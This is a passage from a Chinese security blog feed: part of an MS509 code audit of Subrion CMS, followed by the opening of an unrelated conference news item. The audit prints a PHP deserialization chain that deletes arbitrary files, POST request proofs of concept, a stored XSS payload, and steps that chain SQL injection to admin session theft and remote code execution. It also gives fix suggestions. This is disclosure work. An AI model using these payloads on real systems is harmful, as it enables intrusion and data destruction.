src="https://wechat2rss.xlab.app/img-proxy/?k=c97df5f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVbI2D5SqAUVNPhGc5oEb8bWsRExq9ZA5J4tO96cSibvA8FHc4D89mskQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>对于反序列化的利用需要寻找POP Chain，通过审计发现smarty存在一个任意文件删除的利用链。</p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5282363162467419" data-s="300,640" style="display: inline;" data-type="png" data-w="2302" src="https://wechat2rss.xlab.app/img-proxy/?k=379451f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVtUYFZtqsQK3XwUxcOFLxlO4yy0IY92frevUBgJz8GAEIhkEhJf7XDQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><img data-ratio="1.2467771639042358" style="display: inline;" data-type="png" data-w="1086" src="https://wechat2rss.xlab.app/img-proxy/?k=1f03e919&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVgiblibibMoiaXPN7NEJhW5t8yV17kvIzy7N4m17ZX0rn2KTznM7Bkb3d4g%2F640%3Fwx_fmt%3Dpng"/></p><p>运行代码生成Delete file OBI chain:</p><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">O:24:&#34;Smarty_Internal_Template&#34;:6:{s:8:&#34;cache_id&#34;;N;s:10:&#34;compile_id&#34;;N;s:7:&#34;caching&#34;;N;s:14:&#34;cache_lifetime&#34;;N;s:6:&#34;smarty&#34;;O:6:&#34;Smarty&#34;:1:{s:13:&#34;cache_locking&#34;;s:4:&#34;good&#34;;}s:6:&#34;cached&#34;;O:22:&#34;Smarty_Template_Cached&#34;:8:{s:8:&#34;filepath&#34;;b:0;s:6:&#34;exists&#34;;b:0;s:5:&#34;valid&#34;;b:0;s:9:&#34;processed&#34;;b:0;s:7:&#34;handler&#34;;O:34:&#34;Smarty_Internal_CacheResource_File&#34;:0:{}s:8:&#34;cache_id&#34;;N;s:7:&#34;lock_id</span><br/><span style="height: 1.3em;font-size: 13px;">&#34;;s:24:&#34;C:\windows\Temp\test.txt&#34;;s:9:&#34;is_locked&#34;;b:1;}}</span><br/></pre></td></tr></tbody></table></figure><p style="text-align: center;"><img class="rich_pages" data-ratio="0.42268656716417913" data-s="300,640" style="display: inline;" data-type="png" data-w="3350" src="https://wechat2rss.xlab.app/img-proxy/?k=21394be0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnV75vnzmu7oHFknEDevhxjx1ZnhoLH9noDvibfiaNolGKol4gYN6Zs0ETw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/>修改profile Biography 为OBI chain ，利用正确的userid重新发送post请求</p><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">Url:<a href="http://test.com/subrion/actions.json" target="_blank">http://test.com/subrion/actions.json</a></span><br/><span style="height: 1.3em;font-size: 13px;">Data:action=edit-picture-title&amp;\_\_st=LlapAIYtD9R49sNj1Iy1FGDqihXd5ns5PmUneBme&amp;item=member&amp;field=biography&amp;itemid=2&amp;path=tmp</span><br/></pre></td></tr></tbody></table></figure><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">发现OBI chain 并未生效，最后调试审计代码发现，当请求类型为REQUEST_HTML，smary相关的类才会被加载，而该漏洞利用请求类型刚好是json，如此只能利用php 内置类进行反序列化利用。关于php反序列化利用内置类的相关详情请参阅网络其他文章。</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.06530291109362707" data-s="300,640" style="display: inline;" data-type="png" data-w="2542" src="https://wechat2rss.xlab.app/img-proxy/?k=20f423ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVnp20B2JbT7J1BH9rLwJ6mgpIXEcNkgUGIibkN2PM8Wc164eeobLcRvw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3151862464183381" data-s="300,640" style="display: inline;" data-type="png" data-w="2094" src="https://wechat2rss.xlab.app/img-proxy/?k=a7144e69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVcOoTuK1o6uk0U99txicpkphI7fRgcGvBRW8vtvhfd9libLx7kERltZSA%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;">Poc：</h3><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">Send Post :</span><br/><span style="height: 1.3em;font-size: 13px;">Url:<a href="http://test.com/subrion/actions.json" target="_blank">http://test.com/subrion/actions.json</a></span><br/><span style="height: 1.3em;font-size: 13px;">Data:action=edit-picture-title&amp;__st=LlapAIYtD9R49sNj1Iy1FGDqihXd5ns5PmUneBme&amp;item=member&amp;field=biography&amp;itemid=2&amp;path=tmp</span><br/></pre></td></tr></tbody></table></figure><p><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">修复建议</span><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">序列化之前验证序列化字段是否在白名单之中。</p><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;">存储型XSS</h2><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">修改博文操作的时候，代码层面只对博客字段类型为txet 和textarea 的内容做了XSS防御处理，而字段image[&#39;file&#39;]参数类型为image，并未进行xss 转义过滤处理导致XSS漏洞。</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><img class="rich_pages" data-ratio="0.5411558669001751" data-s="300,640" style="text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-type="png" data-w="2284" src="https://wechat2rss.xlab.app/img-proxy/?k=51205fe9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVPX2q56JEr6td27Ls3dHxbd4W2RW61qUQP3hiavcaF0M5SlDiaJNMt92Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Poc：</span><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">整个触发过程:</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">添加blog-&amp;gt;upload image-&amp;gt;edit blog-&amp;gt;修改image.file 为&#34;x&#34; onerror=&#34;alert(/xss/)<br/><span class="js_jump_icon h5_image_link" data-positionback="static" style="top: auto;left: auto;margin: 0px 289px;right: auto;bottom: auto;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.627147766323024" data-s="300,640" style="" data-type="png" data-w="1164" src="https://wechat2rss.xlab.app/img-proxy/?k=a9ffe6ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVMt4ddfH4vTica69ATLfBtUwjCTib9KLfBiboRiaMTPtee6b3HW9IWjtg4g%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>浏览博客触发XSS <a href="http://test.com/subrion-develop/blog/" target="_blank">http://test.com/subrion-develop/blog/</a></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6169568508705526" data-s="300,640" style="" data-type="png" data-w="2642" src="https://wechat2rss.xlab.app/img-proxy/?k=1fca78d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVZakGeTjmcsx7AQWLMtKyLny0ELHItkgNDlicZIVmnkEO11Pzfv3MIWA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">修复建议</span><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">对image[&#39;file&#39;]调用safeHTML进行处理。</p><h1 style="font-size: 2em;margin-top: 0.67em;margin-bottom: 0.67em;">0x04 Vulnerability Exploit：</h1><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;">SQLInject =&gt;RCE</h2><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">审计代码并未发现前台代码执行漏洞，不过后台发现两种执行代码的方法，结合前文SQL注入漏洞获取管理员登录时的session_id，然后登录后台getshell。<br/>表 online 保存用户登录时的session_id和用户名等其他信息。</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><img class="rich_pages" data-ratio="0.4416403785488959" data-s="300,640" style="text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-type="png" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=9dc3efd9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVOhK8Qwng6mibs82J2sndrbF31G0Ijpu8R8aeQJ81DM2oG2EnjeXN28g%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>获取管理员 session_id</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6975381008206331" data-s="300,640" style="" data-type="png" data-w="1706" src="https://wechat2rss.xlab.app/img-proxy/?k=b647aaa7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVd9K2EGFYuFeAAibxKrQTjXr2eBb8cgOjnXcdzubMTl8J1zarfx0GRNg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/>利用管理员session_id登录后台</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5832147937411095" data-s="300,640" style="" data-type="png" data-w="2812" src="https://wechat2rss.xlab.app/img-proxy/?k=b6751454&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVUPsibnYFoQsvZFUqvq7yBlNHWvdSUhrj98leDUqaCXVojVib9Zu2aicWw%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;">后台GetShell 方法一：</h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">在Blocks模块修改Refine Search的值，添加我们要执行的代码，前台搜索内容行为即可触发执行我们添加的代码。</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><img class="rich_pages" data-ratio="0.5954478707782672" data-s="300,640" style="text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-type="png" data-w="2724" src="https://wechat2rss.xlab.app/img-proxy/?k=da566904&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVX7SmoGfqU3D5rDLzlz5jtbuEpnknQM2DbzmXiaPmR7I4VWbN0MefndA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.400726392251816" data-s="300,640" style="" data-type="png" data-w="3304" src="https://wechat2rss.xlab.app/img-proxy/?k=c200e11b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVt43ZDsBmA2tianAX6fz6BYlWuz0M5P1y1tTgLNfx0yj3xibaFTKQOLBw%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;">后台GetShell 方法二：</h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">后台content fields模块用来设置一些字段的相关属性动作，其中有个extra_actions属性用来设置某字段值改变时的动作行为，用来校验字段值，比如注册邮件的时候，就会执行mail字段 extra_actions属性的代码来校验邮箱的合法性。<br/><span class="js_jump_icon h5_image_link" data-positionback="static" style="top: auto;left: auto;margin: 0px 289px;right: auto;bottom: auto;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4596928982725528" data-s="300,640" style="" data-type="png" data-w="2084" src="https://wechat2rss.xlab.app/img-proxy/?k=9b92d6b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVscOMcD9mIic67TvmZfm1FnvFvHYpibq7YyPdr7nYu4hxNYb63EoZbjxA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>我们可以设置用户fullname字段的extra_actions值为我们代码，前台修改用户profile保存即可触发代码执行。</p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.0236612702366128" data-s="300,640" style="" data-type="png" data-w="1606" src="https://wechat2rss.xlab.app/img-proxy/?k=c85fda1d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVlcSWmjeibGEZyzwyK02Hx9xcLOC4ChEIwgbYTQSc2DMHEpvV4fI1ewQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>修改更新用户profile fullname</p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.35378201310303753" data-s="300,640" style="" data-type="png" data-w="3358" src="https://wechat2rss.xlab.app/img-proxy/?k=648dbaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVS2nEUWibsd28uqH5dk6SkFTfjKkTdOdJXCQCvmJ3w3zRKYoL3wpoB8A%2F640%3Fwx_fmt%3Dpng"/></p><p><br/>两次代码成功执行的结果</p><p><br/><img data-ratio="0.133086876155268" style="border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;margin: 0px 289px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1082" src="https://wechat2rss.xlab.app/img-proxy/?k=ca1f7d46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVerypzHPLtngBv3gHosjCA826cHNGhLF74jib0k4vps6qSqDnJsR0GEg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.12639405204460966" data-s="300,640" style="" data-type="png" data-w="2152" src="https://wechat2rss.xlab.app/img-proxy/?k=d7178c9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVyH11EvvJ0FECbMiaqm6miap5bw6t3TIiazcUsnpf62laXblSnmTvVlU8A%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><blockquote style="margin-top: 5px;margin-bottom: 5px;padding-top: 5px;padding-right: 10px;padding-bottom: 5px;border-width: 0px;border-style: none;border-color: initial;color: rgb(51, 51, 51);font-size: 14px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;font-family: 微软雅黑;line-height: 24px;background-color: rgb(241, 241, 241);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(12, 137, 24);box-sizing: border-box !important;overflow-wrap: break-word !important;">版权声明：</span></strong></blockquote><p style="margin-top: 5px;margin-bottom: 5px;padding: 5px 10px;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;white-space: normal;color: rgb(62, 62, 62);font-family: 微软雅黑;font-size: 14px;line-height: 24px;border-width: 0px;border-style: initial;border-color: initial;background-color: rgb(241, 241, 241);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(102, 102, 102);box-sizing: border-box !important;overflow-wrap: break-word !important;">本文由MS509团队成员原创，转载请注明来源</span></strong></p><section style="max-width: 100%;box-sizing: border-box;line-height: 25.6px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding-right: 1em;padding-left: 1em;max-width: 100%;box-sizing: border-box;display: inline-block;text-align: center;overflow-wrap: break-word !important;"><span style="padding: 0.3em 0.5em;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 0.5em;font-size: 14.08px;color: rgb(255, 255, 255);background-color: rgb(24, 141, 42);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509简介：</span></section></span> </section><section style="margin-top: -1em;padding: 20px 10px 10px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(192, 200, 209);text-align: center;background-color: rgb(239, 239, 239);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;text-align: left;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509为“中国网安”开展互联网攻防技术研究的专业团队，当前主攻方向包括WEB安全、移动安全、二进制安全等</span><strong style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;">。</strong></em></em><span style="max-width: 100%;color: rgb(255, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">更多团队动态，尽在博客www.ms509.com；微博搜索 MS509。</strong></em></em></span></section><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(255, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">加入我们：<a href="https://www.ms509.com/contact/" target="_blank">https://www.ms509.com/contact/</a></strong></em></em></span></section></section></section></section></section></section></section></section><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section style="max-width: 100%;line-height: 25.6px;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;text-align: center;border-width: 0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;display: inline-block;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;width: 21em;border-width: 0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="__bg_gif" data-ratio="0.532" width="auto" data-type="gif" data-w="500" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f64bf6ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIPmdz4nc0ndM0T4dvLW5NpN7vzZs7eUsDzJQ38oWic3ickec4N848AicAvQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="margin-top: -10.5em;margin-left: 0.8em;max-width: 100%;width: 8em;height: 8em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img data-ratio="1" data-s="300,640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=9b636feb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIP3WSctzWffhLdFjx0W28oHbAQiaqtW7zYu7kGO75vdZZT69TR7iapNpNw%2F640%3Fwx_fmt%3Djpeg"/><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section></section></section></section><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p><br/></p>



<p><a href="https://www.ms509.com/2020/03/27/Subrion-Cms-Code-Audit/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=550e6fb3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935346%26idx%3D1%26sn%3Dc9e735be24524b951e26f96008d4b87b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 18 Jun 2020 01:18:00 +0800</pubDate>
    </item>
    <item>
      <title>中国网安MS509团队发声韩国POC安全大会 带去唯一一个安卓“奥密”</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935298&amp;idx=1&amp;sn=e1712a8b1cf75408f8cccc17c0a2c7b7</link>
      <description>本文转载自“中国网安”微信公众号中国网安发声POC安全大会  分享安全“奥密”获得广泛关注 近日，国际安全大</description>
      <content:encoded><![CDATA[<p>
<span>MS509</span> <span>2018-12-05 23:26</span> <span style="display: inline-block;"></span>
</p>

<p>本文转载自“中国网安”微信公众号中国网安发声POC安全大会  分享安全“奥密”获得广泛关注 近日，国际安全大</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ea988d6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0ZKQyBIGKBgP9nnsCROYdHFgORWXAnGqapp0mmYHY1bEBaYMJNcTqTatsCJkGcwIMAaT56j1jictA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section class="" data-ele="imb" style="max-width: 100%;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: justify;white-space: normal;font-size: 16px;color: rgb(62, 62, 62);background-color: rgb(255, 255, 255);line-height: 25.6px;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin-top: 10px;max-width: 100%;box-sizing: border-box;font-family: 微软雅黑;overflow-wrap: break-word !important;"><section style="padding: 10px;max-width: 100%;color: rgb(5, 115, 175);background-color: rgb(182, 228, 253);box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="max-width: 100%;overflow-wrap: break-word;min-height: 1em;line-height: 1.5em;color: inherit;box-sizing: border-box !important;"><span style="max-width: 100%;color: inherit;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 25.6px;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;">本文转载自“中国网安”微信公众号</span></span></p></section></section></section><p style="margin-bottom: 20px;padding-right: 0.5em;padding-left: 0.5em;max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 18px;color: rgb(0, 122, 170);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box 